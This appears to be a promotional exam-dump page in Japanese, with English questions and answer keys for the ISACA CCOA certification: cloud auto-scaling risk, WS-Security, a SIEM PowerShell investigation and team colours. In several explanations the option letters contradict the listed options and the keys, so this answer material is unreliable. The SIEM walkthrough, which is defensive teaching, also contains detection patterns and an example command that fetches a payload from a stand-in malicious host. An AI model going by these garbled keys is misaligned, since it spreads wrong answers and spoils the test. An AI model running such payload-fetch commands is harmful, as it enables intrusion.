

ISACA CCOA試験復習 & CCOA模擬体験



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>> ISACA CCOA試験復習 <<

一発合格問題 CCOA 厳選問題集

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ISACA CCOA 認定試験の出題範囲:

トピック	出題範囲
トピック 1	資産の保護: この試験セクションでは、サイバーセキュリティスペシャリストのスキルを評価し、組織の資産を保護するための方法と戦略を網羅します。エンドポイントセキュリティ、データ保護、暗号化技術、ネットワークインフラストラクチャのセキュリティ確保といったトピックが含まれます。機密情報とリソースを外部および内部の脅威から適切に保護することが目標です。
トピック 2	敵対者の戦術、手法、および手順: この試験セクションでは、サイバーセキュリティアナリストのスキルを評価し、敵対者がシステムを侵害するために使用する戦術、手法、および手順を網羅します。フィッシング、マルウェア、ソーシャルエンジニアリングなどの攻撃手法を特定し、これらの手法を検出および阻止する方法を理解することも含まれます。

トピック 3	テクノロジーの基礎: このセクションでは、サイバーセキュリティスペシャリストのスキルを評価し、サイバーセキュリティの基盤となる基礎技術と原則を網羅します。ハードウェアとソフトウェアの構成、ネットワークプロトコル、クラウドインフラストラクチャ、必須ツールといったトピックが含まれます。技術的な背景と、これらの要素がどのように相互に関連して安全な運用を実現するかを理解することに重点を置いています。
トピック 4	サイバーセキュリティの原則とリスク: このセクションでは、サイバーセキュリティスペシャリストのスキルを評価し、サイバーセキュリティの中核となる原則とリスク管理戦略を網羅します。脆弱性の評価、脅威分析、規制コンプライアンスフレームワークの理解などが含まれます。特に、リスクの評価と、組織資産への潜在的な脅威を軽減するための適切な対策の適用に重点を置いています。
トピック 5	インシデント検知と対応: この試験セクションでは、サイバーセキュリティアナリストのスキルを測定し、セキュリティインシデントの検知と適切な対応に焦点を当てます。セキュリティ監視ツールの理解、ログの分析、侵害の兆候の特定などが含まれます。このセクションでは、セキュリティ侵害に迅速かつ効率的に対応し、被害を最小限に抑え、業務を復旧させる方法に重点を置いています。

ISACA Certified Cybersecurity Operations Analyst 認定 CCOA 試験問題 (Q22-Q27):

質問 # 22

Which of the following is a security feature provided by the WS-Security extension in the Simple Object Access Protocol (SOAP)?

- A. Malware protection
- B. Transport Layer Security (TLS)
- C. Message confidentiality
- D. Session management

正解: C

解説:

The WS-Security extension in Simple Object Access Protocol (SOAP) provides security features at the message level rather than the transport level. One of its primary features is message confidentiality.

* Message Confidentiality: Achieved by encrypting SOAP messages using XML Encryption. This ensures that even if a message is intercepted, its content remains unreadable.

* Additional Features: Also provides message integrity (using digital signatures) and authentication.

* Use Case: Suitable for scenarios where messages pass through multiple intermediaries, as security is preserved across hops.

Incorrect Options:

* A. Transport Layer Security (TLS): Secures the transport layer, not the SOAP message itself.

* C. Malware protection: Not related to WS-Security.

* D. Session management: SOAP itself is stateless and does not handle session management.

Exact Extract from CCOA Official Review Manual, 1st Edition:

Refer to Chapter 7, Section "Web Services Security," Subsection "WS-Security in SOAP" - WS-Security provides message-level security, including confidentiality and integrity.

質問 # 23

Which of the following is the MOST effective approach for tracking vulnerabilities in an organization's systems and applications?

- A. Implement regular vulnerability scanning and assessments.
- B. Rely on employees to report any vulnerabilities they encounter.
- C. Track only those vulnerabilities that have been publicly disclosed.
- D. Wait for external security researchers to report vulnerabilities

正解: A

解説:

The most effective approach to tracking vulnerabilities is to regularly perform vulnerability scans and assessments because:

- * Proactive Identification: Regular scanning detects newly introduced vulnerabilities from software updates or configuration changes.
 - * Automated Monitoring: Modern scanning tools (like Nessus or OpenVAS) can automatically identify vulnerabilities in systems and applications.
 - * Assessment Reports: Provide prioritized lists of discovered vulnerabilities, helping IT teams address the most critical issues first.
 - * Compliance and Risk Management: Routine scans are essential for maintaining security baselines and compliance with standards (like PCI-DSS or ISO 27001).
- Other options analysis:
- * A. Wait for external reports: Reactive and risky, as vulnerabilities might remain unpatched.
 - * B. Rely on employee reporting: Inconsistent and unlikely to cover all vulnerabilities.
 - * D. Track only public vulnerabilities: Ignores zero-day and privately disclosed issues.
- CCOA Official Review Manual, 1st Edition References:
- * Chapter 6: Vulnerability Management: Emphasizes continuous scanning as a critical part of risk mitigation.
 - * Chapter 9: Security Monitoring Practices: Discusses automated scanning and vulnerability tracking.

質問 # 24

Your enterprise SIEM system is configured to collect and analyze log data from various sources. Beginning at 12:00 AM on December 4, 2024, until 1:00 AM (Absolute), several instances of PowerShell are discovered executing malicious commands and accessing systems outside of their normal working hours.

What is the physical address of the web server that was targeted with malicious PowerShell commands?

正解:

解説:

See the solution in Explanation.

Explanation:

To determine the physical address of the targeted web server, follow these step-by-step instructions to analyze the logs in your SIEM system. The goal is to identify malicious PowerShell activity targeting the web server during the specified time window (12:00 AM to 1:00 AM on December 4, 2024).

Step 1: Understand the Context

- * Scenario: Your SIEM has detected suspicious PowerShell activities during off-hours (12:00 AM to 1:00 AM).
- * Objective: Identify the physical (MAC) address of the web server targeted by the malicious PowerShell commands.

Step 2: Identify Relevant Log Sources

- * Logs to investigate:
 - * PowerShell logs (Event ID 4104) for command execution.
 - * Windows Security Event Logs for login and access attempts.
 - * Network Traffic Logs (firewall or IDS/IPS) to detect connections made by PowerShell.
 - * Web Server Access Logs for any unusual requests.

SIEM Log Sources:

- * Windows Event Logs (Sysmon/PowerShell)
- * Firewall Logs
- * IDS/IPS Alerts
- * Web Server Logs (IIS, Apache)

Step 3: Use SIEM Filters to Isolate Relevant Events

- * Time Frame Filter:
 - * Set the time range from 12:00 AM to 1:00 AM on December 4, 2024.
- * Event ID Filter:
 - * Filter for Event ID 4104 (PowerShell script block logging).
- * Command Pattern:
 - * Look for suspicious commands like:

Invoke-WebRequest

Invoke-Expression (IEX)

New-Object Net.WebClient

* Process Name:

- * Filter logs where the Process Name is powershell.exe.

Example SIEM Query:

```
index=windows_logs
| search EventID=4104 ProcessName="powershell.exe"
| where _time between "2024-12-04T00:00:00" and "2024-12-04T01:00:00"
| table _time, ProcessName, CommandLine, SourceIP, DestinationIP, MACAddress
```

Step 4: Correlate Events with Network Logs

- * Once you identify PowerShell events, correlate them with network traffic logs.
- * Focus on:
- * Source IP Address: Where the PowerShell commands originated.
- * Destination IP Address: Targeted web server.
- * Use the IP address of the web server to trace back the MAC address.

Example Network Log Query:

```
index=network_logs
| search DestinationIP="<Web_Server_IP>"
| where _time between "2024-12-04T00:00:00" and "2024-12-04T01:00:00"
| table _time, SourceIP, DestinationIP, MACAddress, Protocol, Port
```

Step 5: Analyze the PowerShell Commands

- * Investigate the nature of the commands:
- * Data Exfiltration: Using Invoke-WebRequest to send data to external IPs.
- * Remote Code Execution: Using IEX to run downloaded scripts.
- * Cross-check commands against known Indicators of Compromise (IOCs).

Step 6: Validate the Web Server's Physical Address

- * Identify the MAC address corresponding to the targeted web server.
- * Cross-reference with ARP tables or DHCP logs to confirm the mapping between IP and MAC address.

Example ARP Command on Windows:

```
arp -a | findstr <Web_Server_IP>
```

Step 7: Report the Findings

- * Document the targeted server's IP address and MAC address.
- * Summarize the malicious activity:
- * Commands executed
- * Time and duration
- * Source and destination IPs

Example Finding:

Web Server IP: 192.168.1.50

Physical (MAC) Address: 00:1A:2B:3C:4D:5E

Time of Attack: 12:30 AM, December 4, 2024

PowerShell

Command: Invoke-WebRequest -Uri "http://malicious.com/payload"

Step 8: Take Immediate Actions

- * Isolate the affected server.
- * Block external IPs involved.
- * Terminate malicious PowerShell processes.
- * Conduct a forensic analysis of compromised systems.

Step 9: Strengthen Security Post-Incident

- * Implement PowerShell Logging: Enable detailed script block and module logging.
- * Enhance Network Monitoring: Set up alerts for unusual PowerShell activities.
- * User Behavior Analytics (UBA): Detect anomalous login patterns outside working hours.

質問 # 25

Which of the following risks is MOST relevant to cloud auto-scaling?

- A. Loss of confidentiality
- B. Loss of integrity
- C. Data breaches
- D. Unforeseen expenses

正解: D

解説:

One of the most relevant risks associated with cloud auto-scaling is unforeseen expenses:

- * Dynamic Resource Allocation: Auto-scaling automatically adds resources based on demand, which can increase costs unexpectedly.
- * Billing Surprises: Without proper monitoring, auto-scaling can significantly inflate cloud bills, especially during traffic spikes.
- * Mitigation: Implementing budget controls and alerts helps manage costs.
- * Financial Risk: Organizations may face budget overruns if auto-scaling configurations are not properly optimized.

Incorrect Options:

- * A. Loss of confidentiality: Not directly related to auto-scaling
- * B. Loss of integrity: Auto-scaling does not inherently affect data integrity.
- * C. Data breaches: More related to security misconfigurations rather than scaling issues.

Exact Extract from CCOA Official Review Manual, 1st Edition:

Refer to Chapter 3, Section "Cloud Security Challenges," Subsection "Cost Management in Auto-Scaling" - Uncontrolled auto-scaling can lead to significant and unexpected financial impact.

質問 # 26

As part of a penetration testing program, which team facilitates education and training of architects and developers to encourage better security and awareness?

- A. Orange team
- B. Yellow team
- C. Green team
- D. Red team

正解: A

解説:

The Orange team plays a crucial role in the education and training of architects and developers to promote better security awareness.

* Focus: Bridges the gap between offensive security (Red Team) and defensive security (Blue Team) by translating security testing results into actionable insights.

* Training and Awareness: Educates developers on secure coding practices and common vulnerabilities.

* Collaboration: Works with both offensive and defensive teams to improve security measures from a development perspective.

* Outcome: Helps architects and developers integrate secure practices into the software development lifecycle (SDLC).

Other options analysis:

* B. Red team: Focuses on offensive operations to find vulnerabilities.

* C. Green team: No standard role exists by this name in the typical security team taxonomy.

* D. Yellow team: Not commonly used as a formal designation.

CCOA Official Review Manual, 1st Edition References:

* Chapter 7: Red, Blue, and Orange Team Operations: Discusses the role of the Orange team in fostering secure development practices.

* Chapter 10: Secure Development Training: Highlights the importance of educating development teams.

質問 # 27

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CCOA模擬体験: <https://www.tech4exam.com/CCOA-pass-shiken.html>

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